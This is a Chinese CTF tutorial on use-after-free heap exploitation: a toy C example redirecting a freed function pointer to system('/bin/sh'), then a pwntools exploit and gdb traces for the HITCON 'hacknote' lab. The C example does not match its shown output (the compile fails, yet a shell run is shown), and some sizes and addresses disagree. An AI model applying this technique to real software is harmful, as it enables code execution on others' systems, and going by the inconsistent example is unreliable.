Use After Free

admin 2022年1月6日01:11:26评论39 views字数 15746阅读52分29秒阅读模式

原理

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

这里给出一个简单的例子

#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)(char *);
void evil_fuc(char command[])
{
system(command);
}
void echo(char content[])
{
printf("%s",content);
}
int main()
{
func_ptr *p1=(func_ptr*)malloc(4*sizeof(int));
printf("malloc addr: %p\n",p1);
p1=echo;
p1("hello world\n");
free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针
p1("hello again\n"); //p1指针未被置空,虽然free了,但仍可使用.
func_ptr *p2=(func_ptr*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.
printf("malloc addr: %p\n",p2);
printf("malloc addr: %p\n",p1);//p2与p1指针指向的内存为同一地址
p1=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针.
p2("/bin/sh");
return 0;
}

编译:

$ gcc 2.cpp -o 2 -m32
2.cpp: In function ‘int main()’:
2.cpp:16:7: error: cannot convert ‘void(char*)’ to ‘void (**)(char*)’ in assignment
p1=echo;
^
2.cpp:17:23: error: ‘p1’ cannot be used as a function
p1("hello world\n");
^
2.cpp:19:23: error: ‘p1’ cannot be used as a function
p1("hello again\n"); //p1指针未被置空,虽然free了,但仍可使用.
^
2.cpp:23:7: error: cannot convert ‘void(char*)’ to ‘void (**)(char*)’ in assignment
p1=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成
^
2.cpp:24:17: error: ‘p2’ cannot be used as a function
p2("/bin/sh");

运行结果如下:

$ ./2       
malloc addr: 0x8e83008
hello world
hello again
malloc addr: 0x8e83008
malloc addr: 0x8e83008
$ id
uid=1000(oldthree) gid=1000(oldthree) groups=1000(oldthree),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

例题

这里我们以 HITCON-training 中的 lab 10 hacknote 为例。

功能分析

我们可以简单分析下程序,可以看出在程序的开头有个 menu 函数,其中有

puts(" 1. Add note          ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");

故而程序应该主要有 3 个功能。之后程序会根据用户的输入执行相应的功能。

add_note

根据程序,我们可以看出程序最多可以添加 5 个 note。每个 note 有两个字段 put 与 content,其中 put 会被设置为一个函数,其函数会输出 content 具体的内容。

unsigned int add_note()
{
note *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
notelist[i]->put = print_note_content;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = notelist[i];
v0->content = malloc(size);
if ( !notelist[i]->content )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i]->content, size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
notelist[v1]->put(notelist[v1]);
return __readgsdword(0x14u) ^ v3;
}

delete_note

delete_note 会根据给定的索引来释放对应的 note。但是值得注意的是,在 删除的时候,只是单纯进行了 free,而没有设置为 NULL,那么显然,这里是存在 Use After Free 的情况的。

unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
{
free(notelist[v1]->content);
free(notelist[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

magic

int magic()
{
return system("cat /home/hacknote/flag");
}

利用分析

我们可以看到 Use After Free 的情况确实可能会发生,那么怎么可以让它发生并且进行利用呢?需要同时注意的是,这个程序中还有一个 magic 函数,我们有没有可能来通过 use after free 来使得这个程序执行 magic 函数呢?一个很直接的想法是修改 note 的 put 字段为 magic 函数的地址,从而实现在执行 print note 的时候执行 magic 函数。 那么该怎么执行呢?

我们可以简单来看一下每一个 note 生成的具体流程

  1. 程序申请 8 字节内存用来存放 note 中的 put 以及 content 指针。

  2. 程序根据输入的 size 来申请指定大小的内存,然后用来存储 content。

    +-----------------+                       
    | put |
    +-----------------+
    | b* content | size
    +-----------------+------------------->+----------------+
    | real |
    | content |
    | |
    +----------------+

那么,根据我们之前在堆的实现中所学到的,显然 note 是一个 fastbin chunk(大小为 16 字节)。我们的目的是希望一个 note 的 put 字段为 magic 的函数地址,那么我们必须想办法让某个 note 的 put 指针被覆盖为 magic 地址。由于程序中只有唯一的地方对 put 进行赋值。所以我们必须利用写 real content 的时候来进行覆盖。具体采用的思路如下

  • 申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
  • 申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
  • 释放 note0
  • 释放 note1
  • 此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
  • 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则
  • note2 其实会分配 note1 对应的内存块。
  • real content 对应的 chunk 其实是 note0。
  • 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。

脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

r = process('./hacknote')


def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))


def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))


#gdb.attach(r)
magic = 0x08048986

addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1

delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2

printnote(0) # print note 0

r.interactive()

gdb进行调试看一下执行的流程,首先下断点

两处 malloc 下断点

gdb-peda$ b* 0x0804875C
Breakpoint 1 at 0x804875c
gdb-peda$ b *0x080486CA
Breakpoint 2 at 0x80486ca

两处 free 下断点

gdb-peda$ b *0x08048893
Breakpoint 3 at 0x8048893
gdb-peda$ b *0x080488A9
Breakpoint 4 at 0x80488a9

然后继续执行程序,可以看出申请 note0 时,所申请到的内存块地址为 0x0924d008。(eax 存储函数返回值)

$eax   : 0x08a6a008  →  0x00000000
$ebx : 0x0
$ecx : 0xf7f2e780 → 0x00000000
$edx : 0x08a6a008 → 0x00000000
$esp : 0xffa50030 → 0x00000008
$ebp : 0xffa50068 → 0xffa50088 → 0x00000000
$esi : 0xf7f2e000 → 0x001afdb0
$edi : 0xf7f2e000 → 0x001afdb0
$eip : 0x080486cf → <add_note+89> add esp, 0x10
$eflags: [carry parity adjust zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffa50030│+0x0000: 0x00000008 ← $esp
0xffa50034│+0x0004: 0x00000000
0xffa50038│+0x0008: 0xf7dadc75 → <strtol+5> add eax, 0x18038b
0xffa5003c│+0x000c: 0xf7dab070 → <atoi+16> add esp, 0x1c
0xffa50040│+0x0010: 0xffa50078 → 0xffa50a31 → 0x00000000
0xffa50044│+0x0014: 0x00000000
0xffa50048│+0x0018: 0x0000000a
0xffa5004c│+0x001c: 0x00000000
─────────────────────────────────────────────────────────────── code:x86:32 ────
0x80486c2 <add_note+76> add DWORD PTR [eax], eax
0x80486c4 <add_note+78> add BYTE PTR [ebx+0x86a0cec], al
0x80486ca <add_note+84> call 0x80484e0 <malloc@plt>
●→ 0x80486cf <add_note+89> add esp, 0x10
0x80486d2 <add_note+92> mov edx, eax
0x80486d4 <add_note+94> mov eax, DWORD PTR [ebp-0x1c]
0x80486d7 <add_note+97> mov DWORD PTR [eax*4+0x804a070], edx
0x80486de <add_note+104> mov eax, DWORD PTR [ebp-0x1c]
0x80486e1 <add_note+107> mov eax, DWORD PTR [eax*4+0x804a070]
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "hacknote", stopped 0x80486cf in add_note (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80486cf → add_note()
[#1] 0x8048ac5 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤ heap chunk 0x08a6a008
Chunk(addr=0x8a6a008, size=0x10, flags=PREV_INUSE)
Chunk size: 16 (0x10)
Usable size: 12 (0xc)
Previous chunk size: 0 (0x0)
PREV_INUSE flag: On
IS_MMAPPED flag: Off
NON_MAIN_ARENA flag: Off

申请 note 0 的content 的地址为 0x08a6a018

$eax   : 0x08a6a018  →  0x00000000
$ebx : 0x08a6a008 → 0x0804865b → <print_note_content+0> push ebp
$ecx : 0xf7f2e780 → 0x00000000
$edx : 0x08a6a018 → 0x00000000
$esp : 0xffa50030 → 0x00000020
$ebp : 0xffa50068 → 0xffa50088 → 0x00000000
$esi : 0xf7f2e000 → 0x001afdb0
$edi : 0xf7f2e000 → 0x001afdb0
$eip : 0x08048761 → <add_note+235> add esp, 0x10
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffa50030│+0x0000: 0x00000020 ← $esp
0xffa50034│+0x0004: 0xffa50054 → 0xf70a3233
0xffa50038│+0x0008: 0x00000008
0xffa5003c│+0x000c: 0xf7dab070 → <atoi+16> add esp, 0x1c
0xffa50040│+0x0010: 0xffa50078 → 0xffa50a31 → 0x00000000
0xffa50044│+0x0014: 0x00000000
0xffa50048│+0x0018: 0x0000000a
0xffa5004c│+0x001c: 0x00000000
─────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048752 <add_note+220> mov al, ds:0x458b0804
0x8048757 <add_note+225> call 0x581173df
0x804875c <add_note+230> call 0x80484e0 <malloc@plt>
●→ 0x8048761 <add_note+235> add esp, 0x10
0x8048764 <add_note+238> mov DWORD PTR [ebx+0x4], eax
0x8048767 <add_note+241> mov eax, DWORD PTR [ebp-0x1c]
0x804876a <add_note+244> mov eax, DWORD PTR [eax*4+0x804a070]
0x8048771 <add_note+251> mov eax, DWORD PTR [eax+0x4]
0x8048774 <add_note+254> test eax, eax
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "hacknote", stopped 0x8048761 in add_note (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048761 → add_note()
[#1] 0x8048ac5 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤ heap chunk 0x08a6a018
Chunk(addr=0x8a6a018, size=0x28, flags=PREV_INUSE)
Chunk size: 40 (0x28)
Usable size: 36 (0x24)
Previous chunk size: 0 (0x0)
PREV_INUSE flag: On
IS_MMAPPED flag: Off
NON_MAIN_ARENA flag: Off

类似的,我们可以得到 note1 的地址以及其 content 的地址分别为 0x08a6a040 和 0x08a6a050。

同时,我们还可以看到 note0 与 note1 对应的 content 确实是相应的内存块。

gef➤  grep aaaa
[+] Searching 'aaaa' in memory
[+] In '[heap]'(0x8a6a000-0x8a8b000), permission=rw-
0x8a6a018 - 0x8a6a01e → "aaaa\n"
gef➤ grep ddaa
[+] Searching 'ddaa' in memory
[+] In '[heap]'(0x8a6a000-0x8a8b000), permission=rw-
0x8a6a050 - 0x8a6a056 → "ddaa\n"

下面就是 free 的过程了。我们可以依次发现首先,note0 的 content 被 free

●→  0x8048893 <del_note+143>   call   0x80484c0 <free@plt>
↳ 0x80484c0 <free@plt+0> jmp DWORD PTR ds:0x804a018
0x80484c6 <free@plt+6> push 0x18
0x80484cb <free@plt+11> jmp 0x8048480
0x80484d0 <__stack_chk_fail@plt+0> jmp DWORD PTR ds:0x804a01c
0x80484d6 <__stack_chk_fail@plt+6> push 0x20
0x80484db <__stack_chk_fail@plt+11> jmp 0x8048480
─────────────────────────────────────────────────────── arguments (guessed) ────
free@plt (
[sp + 0x0] = 0x08a6a018 → "aaaa\n",

然后是 note0 本身

●→  0x80488a9 <del_note+165>   call   0x80484c0 <free@plt>
↳ 0x80484c0 <free@plt+0> jmp DWORD PTR ds:0x804a018
0x80484c6 <free@plt+6> push 0x18
0x80484cb <free@plt+11> jmp 0x8048480
0x80484d0 <__stack_chk_fail@plt+0> jmp DWORD PTR ds:0x804a01c
0x80484d6 <__stack_chk_fail@plt+6> push 0x20
0x80484db <__stack_chk_fail@plt+11> jmp 0x8048480
─────────────────────────────────────────────────────── arguments (guessed) ────
free@plt (
[sp + 0x0] = 0x08a6a008 → 0x0804865b → <print_note_content+0> push ebp,

当我们将 note1 也全部删除完毕后,再次观看 bins。可以看出,后删除的 chunk 块确实处于表头。

gef➤  heap bins
[+] No Tcache in this version of libc
──────────────────────── Fastbins for arena 0xf7f2e780 ────────────────────────
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x8a6a008, size=0x10, flags=PREV_INUSE)
Fastbins[idx=1, size=0x18] 0x00
Fastbins[idx=2, size=0x20] 0x00
Fastbins[idx=3, size=0x28] ← Chunk(addr=0x8a6a050, size=0x28, flags=PREV_INUSE) ← Chunk(addr=0x8a6a018, size=0x28, flags=PREV_INUSE)
Fastbins[idx=4, size=0x30] 0x00
Fastbins[idx=5, size=0x38] 0x00
Fastbins[idx=6, size=0x40] 0x00
───────────────────── Unsorted Bin for arena '*0xf7f2e780' ─────────────────────
[+] Found 0 chunks in unsorted bin.
────────────────────── Small Bins for arena '*0xf7f2e780' ──────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────── Large Bins for arena '*0xf7f2e780' ──────────────────────
[+] Found 0 chunks in 0 large non-empty bins.

那么,此时即将要申请 note2,我们可以看下 note2 都申请到了什么内存块,如下

申请 note2 对应的内存块为 0x08a6a040,其实就是 note1 对应的内存地址。

$eax   : 0x08a6a040  →  0x08a6a000  →  0x00000000
$ebx : 0x0
$ecx : 0xf7f2e780 → 0x00000000
$edx : 0x08a6a040 → 0x08a6a000 → 0x00000000
$esp : 0xffa50030 → 0x00000008
$ebp : 0xffa50068 → 0xffa50088 → 0x00000000
$esi : 0xf7f2e000 → 0x001afdb0
$edi : 0xf7f2e000 → 0x001afdb0
$eip : 0x080486cf → <add_note+89> add esp, 0x10
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffa50030│+0x0000: 0x00000008 ← $esp
0xffa50034│+0x0004: 0x08048c63 → "Your choice :"
0xffa50038│+0x0008: 0xf7dadc75 → <strtol+5> add eax, 0x18038b
0xffa5003c│+0x000c: 0xf7dab070 → <atoi+16> add esp, 0x1c
0xffa50040│+0x0010: 0xffa50078 → 0xffa50a31 → 0x00000000
0xffa50044│+0x0014: 0x00000000
0xffa50048│+0x0018: 0x0000000a
0xffa5004c│+0x001c: 0x00000002
─────────────────────────────────────────────────────────────── code:x86:32 ────
0x80486c2 <add_note+76> add DWORD PTR [eax], eax
0x80486c4 <add_note+78> add BYTE PTR [ebx+0x86a0cec], al
0x80486ca <add_note+84> call 0x80484e0 <malloc@plt>
●→ 0x80486cf <add_note+89> add esp, 0x10
0x80486d2 <add_note+92> mov edx, eax
0x80486d4 <add_note+94> mov eax, DWORD PTR [ebp-0x1c]
0x80486d7 <add_note+97> mov DWORD PTR [eax*4+0x804a070], edx
0x80486de <add_note+104> mov eax, DWORD PTR [ebp-0x1c]
0x80486e1 <add_note+107> mov eax, DWORD PTR [eax*4+0x804a070]
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "hacknote", stopped 0x80486cf in add_note (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80486cf → add_note()
[#1] 0x8048ac5 → main()

申请 note2 的 content 的内存地址为 0x08a6a008,就是 note0 对应的地址,即此时我们向 note2 的 content 写内容,就会将 note0 的 put 字段覆盖。

$eax   : 0x08a6a008  →  0x00000000
$ebx : 0x08a6a040 → 0x0804865b → <print_note_content+0> push ebp
$ecx : 0xf7f2e780 → 0x00000000
$edx : 0x08a6a008 → 0x00000000
$esp : 0xffa50030 → 0x00000008
$ebp : 0xffa50068 → 0xffa50088 → 0x00000000
$esi : 0xf7f2e000 → 0x001afdb0
$edi : 0xf7f2e000 → 0x001afdb0
$eip : 0x08048761 → <add_note+235> add esp, 0x10
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffa50030│+0x0000: 0x00000008 ← $esp
0xffa50034│+0x0004: 0xffa50054 → 0xf7e50a38 → <pwrite64+120> hlt
0xffa50038│+0x0008: 0x00000008
0xffa5003c│+0x000c: 0xf7dab070 → <atoi+16> add esp, 0x1c
0xffa50040│+0x0010: 0xffa50078 → 0xffa50a31 → 0x00000000
0xffa50044│+0x0014: 0x00000000
0xffa50048│+0x0018: 0x0000000a
0xffa5004c│+0x001c: 0x00000002
─────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048752 <add_note+220> mov al, ds:0x458b0804
0x8048757 <add_note+225> call 0x581173df
0x804875c <add_note+230> call 0x80484e0 <malloc@plt>
●→ 0x8048761 <add_note+235> add esp, 0x10
0x8048764 <add_note+238> mov DWORD PTR [ebx+0x4], eax
0x8048767 <add_note+241> mov eax, DWORD PTR [ebp-0x1c]
0x804876a <add_note+244> mov eax, DWORD PTR [eax*4+0x804a070]
0x8048771 <add_note+251> mov eax, DWORD PTR [eax+0x4]
0x8048774 <add_note+254> test eax, eax
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "hacknote", stopped 0x8048761 in add_note (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048761 → add_note()
[#1] 0x8048ac5 → main()

我们来具体检验一下,看一下覆盖前的情况,可以看到该内存块的 put 指针已经被置为 NULL 了,这是由 fastbin 的 free 机制决定的。

gef➤  x/2xw 0x08a6a008
0x8a6a008: 0x00000000 0x08a6a018

覆盖后,具体的值如下

gef➤  x/2xw 0x08a6a008
0x8a6a008: 0x08048986 0x08a6a00a
gef➤ x/i 0x08048986
0x8048986 <magic>: push ebp

最后执行效果如下

[+] Starting local process './hacknote': pid 3232
[*] running in new terminal: /usr/bin/gdb -q "./hacknote" 3232
[-] Waiting for debugger: debugger exited! (maybe check /proc/sys/kernel/yama/ptrace_scope)
[*] Switching to interactive mode
flag{use_after_free}----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------

同时,我们还可以借助 gef 的 heap-analysis-helper 来看一下整体的堆的申请与释放的情况,如下

gef➤  heap-analysis-helper
[*] This feature is under development, expect bugs and unstability...
[+] Tracking malloc() & calloc()
[+] Tracking free()
[+] Tracking realloc()
[+] Disabling hardware watchpoints (this may increase the latency)
[+] Dynamic breakpoints correctly setup, GEF will break execution if a possible vulnerabity is found.
[*] Note: The heap analysis slows down the execution noticeably.
gef➤ c
Continuing.
[+] Heap-Analysis - __libc_malloc(8)=0x9bba008
[+] Heap-Analysis - __libc_malloc(8)=0x9bba008
[+] Heap-Analysis - __libc_malloc(32)=0x9bba018
[+] Heap-Analysis - __libc_malloc(8)=0x9bba040
[+] Heap-Analysis - __libc_malloc(32)=0x9bba050
[+] Heap-Analysis - free(0x9bba018)
[+] Heap-Analysis - free(0x9bba008)
[+] Heap-Analysis - free(0x9bba050)
[+] Heap-Analysis - free(0x9bba040)
[+] Heap-Analysis - __libc_malloc(8)=0x9bba040
[+] Heap-Analysis - __libc_malloc(8)=0x9bba008

这里第一个输出了两次,应该是 gef 工具的问题。

题目

  • 2016 HCTF fheap

FROM :ol4three.com | Author:ol4three

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:11:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Use After Freehttps://cn-sec.com/archives/721320.html

发表评论

匿名网友 填写信息